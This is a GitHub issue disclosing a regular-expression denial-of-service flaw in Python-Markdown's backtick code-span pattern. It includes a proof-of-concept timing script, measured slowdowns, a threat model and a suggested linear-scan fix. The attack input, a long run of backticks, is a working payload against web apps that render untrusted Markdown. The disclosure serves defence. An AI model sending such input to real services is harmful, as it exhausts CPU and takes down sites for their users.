Skip to content

Backtick code-span ReDoS #1617

Description

@lsnouim

Python-Markdown — backtick code-span ReDoS

Package markdown / Python-Markdown 3.10.3 (PyPI, latest) · CWE-1333 / 400 · CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) · Prior CVEs none for this (distinct from CVE-2025-69534, an HTMLParser AssertionError fixed in 3.8.1)

Abstract

Python-Markdown matches inline code spans with one regex, markdown.inlinepatterns.BACKTICK_RE, that uses a back-reference for the closing run of backticks:

BACKTICK_RE = r'(?:(?<!\\)((?:\\{2})+)(?=`+)|(?<!\\)(`+)(.+?)(?<!`)\2(?!`))'

On a run of unmatched backticks the second alternative (a backtick-run capture, a lazy .+?, then the \2 back-reference) back-tracks catastrophically — Python's re cannot use a DFA with a back-reference. Parse time grows ≈ O(n³): ~1 KB → 2.7 s, ~1.5 KB → 9 s, ~2 KB → >12 s. markdown.markdown() is synchronous and CPU-bound, so one small unauthenticated request pins the worker → remote DoS for any app that renders untrusted Markdown.

PoC

pip install "markdown==3.10.3"
python3 poc/markdown_backtick_redos_poc.py
import re
import signal
import time
import markdown
from markdown.inlinepatterns import BACKTICK_RE

class _Timeout(Exception):
    pass

signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(_Timeout()))

def timed(fn, s, cap=12.0):
    signal.setitimer(signal.ITIMER_REAL, cap)
    t0 = time.perf_counter()
    try:
        fn(s)
        dt = time.perf_counter() - t0
        signal.setitimer(signal.ITIMER_REAL, 0)
        return dt, False
    except _Timeout:
        return cap, True

def main():
    print(f"Python-Markdown {markdown.__version__}")
    print(f"BACKTICK_RE = {BACKTICK_RE!r}\n")
    print(f"    {'n (=bytes)':>12} {'time':>10}   ratio(2x)")
    prev = None
    for n in [250, 500, 1000, 1500, 2000]:
        dt, to = timed(markdown.markdown, "`" * n)
        r = (dt / prev) if prev else 0.0
        print(f"    {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10}   {r:5.2f}")
        prev = dt
        if to:
            break
    rx = re.compile(BACKTICK_RE)
    print(f"    {'n':>12} {'time':>10}   ratio(2x)")
    prev = None
    for n in [250, 500, 1000, 2000]:
        dt, to = timed(rx.search, "`" * n)
        r = (dt / prev) if prev else 0.0
        print(f"    {n:>12} {('TIMEOUT>' + str(int(dt)) + 's') if to else f'{dt:8.3f}s':>10}   {r:5.2f}")
        prev = dt
        if to:
            break
        
if __name__ == "__main__":
    main()

Output (Python-Markdown 3.10.3), input = a string of n backtick characters:

(1) markdown.markdown():       n=1000 → 2.7 s,  n=1500 → 9.2 s,  n=2000 → TIMEOUT>12s
(2) isolated re.search(BACKTICK_RE):  identical blow-up  (~8× per doubling ≈ cubic)

Part (2) shows the isolated regex reproduces the blow-up exactly — the regex itself is the cause.

Threat Model

  • Attacker: submits Markdown text that the app renders — the intended input of any Markdown feature (comments, posts, bios, wiki/doc pages, chat, PR/issue bodies, LLM output rendered as Markdown). Commonly unauthenticated; the payload (a run of backticks) is trivial and passes any "looks like text" check.
  • No precondition to disclaim: rendering untrusted Markdown is the documented purpose.

Impact

  • Remote, unauthenticated CPU-exhaustion DoS: ~2 KB → ~12 s of single-core CPU; cubic growth means a few KB reaches minutes; concurrent requests saturate all workers → outage.
  • Synchronous parsing blocks the worker / event-loop thread for the whole duration.
  • Broad blast radius: Python-Markdown is one of the most widely deployed Markdown engines (MkDocs, many Django/Flask apps, static-site generators, documentation & CI pipelines, LLM/chat front-ends).

Suggested fix

  • Replace the regex with a linear CommonMark-style code-span scanner (as markdown-it-py, which is linear on these inputs): find an opening run of k backticks, then locate the next run of exactly k backticks with ordinary string operations — no backtracking, no back-reference.
  • If a regex must be kept: drop the back-reference and the .+? between two variable-length backtick runs; bound the backtick-run length; and/or cap input size.
  • Regression test: a 5000-backtick input must parse in well under a second.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions